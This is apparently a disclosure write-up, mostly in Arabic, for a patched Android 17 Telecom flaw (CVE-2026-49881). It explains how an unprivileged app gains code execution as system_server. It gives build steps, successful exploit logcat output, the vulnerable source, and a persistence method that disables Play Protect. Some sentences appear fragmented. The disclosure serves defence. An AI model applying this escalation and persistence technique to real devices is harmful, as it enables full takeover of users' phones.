
CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app
هذا هو إثبات مفهوم (PoC) وتقرير فني لثغرة CVE-2026-49881، وهي مشكلة منطقية في فئة InCallController في خدمة الاتصالات (Telecom) بنظام Android 17 تسمح لتطبيق غير مميز بالحصول على تنفيذ تعليمات برمجية عشوائي بمعرف المستخدم UID 1000 الخاص بـ system_server دون أي تفاعل إضافي من المستخدم. نُظهر هنا أيضًا أن تنفيذ التعليمات البرمجية في system_server لا يزال من السهل تكييفه لتحقيق الثبات (Persistence)، حتى في إصدارات Android الحديثة.
أبلغت عن هذه الثغرة إلى فريق أمان Android في 2026-04-10، وتم تأكيدها في 2026-05-06، وتم إصلاحها في نشرة أمان Android لشهر سبتمبر 2026. (انظر هنا للتصحيح)
في وقت الإبلاغ، كانت تؤثر فقط على إصدارات Pixel التي تعمل بنظام Android 16 QPR3 وما بعده (بالإضافة إلى إصدارات 17 Beta) على حد علمي، لكنها انتقلت لاحقًا إلى الإصدار المستقر من AOSP لنظام Android 17.
لحماية نفسك من هذه المشكلة، تأكد من تثبيت تحديث نظام Google Play بالإضافة إلى تصحيح أمان النظام. (Telecom هو مكوّن رئيسي (mainline) منذ Android 17)
system_server باستخدام الثغرة، ويسجل id وتتبع المكدس (stack trace) إلى logcat، ويعيد تثبيت نفسه كمكوّن من مكونات system_server.build.sh المرفق. بخلاف ذلك، يمكنك تشغيل ./gradlew assembleSystemRelease يدويًا، ثم نقل ملف app-system-release.apk الناتج إلى app/src/poc/assets/system.apk، ثم تشغيل ./gradlew assemblePocRelease.system_server يقوم أيضًا بتعطيل حماية Play Protect عن طريق تعيين package_verifier_user_consent إلى -1 في Settings.Global لأنه قد يعترض أحيانًا معاملة إعادة التثبيت بسبب التوقيعات غير المعروفة. يجب إعادة تمكين هذا في الإعدادات بعد الاختبار.system_server بعض التخصيص حسب الشركة المصنعة لأنها تعتمد على اجتياز بنية PMS باستخدام رموز قد تغيرها الشركات المصنعة أحيانًا.مخرجات logcat المتوقعة لإثبات المفهوم هي:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
هذه ثغرة مباشرة بشكل غير معتاد. كلما حدثت بعض الإجراءات المتعلقة بالاتصالات (Telecom)، يحاول InCallController اكتشاف الخدمات المتاحة من خلال getInCallServiceComponents. يحدث هذا بشكل طبيعي عند تسجيل مكالمة مع النظام، ولكن يمكن للتطبيق تشغيله عند الطلب أيضًا بفضل واجهة برمجة تطبيقات المعاملات TelecomManager.addCall. (ملاحظة: هذا ما يستخدمه زر "بدء الاستغلال" في إثبات المفهوم) تتطلب هذه الواجهة إذن MANAGE_OWN_CALLS، لكنه إذن عادي وغير مرئي للمستخدم ويتم منحه تلقائيًا عند التثبيت.
يتم تنفيذ هذا التعداد في الإصدارات المعرضة للخطر على النحو التالي:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;
if (serviceInfo != null) {
boolean isMetaFlag = serviceInfo.metaData != null &&
serviceInfo.metaData.getBoolean(
"android.telecom.CLASS_EXISTENCE_CHECK", false);
if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
continue;
}
...
}
}
}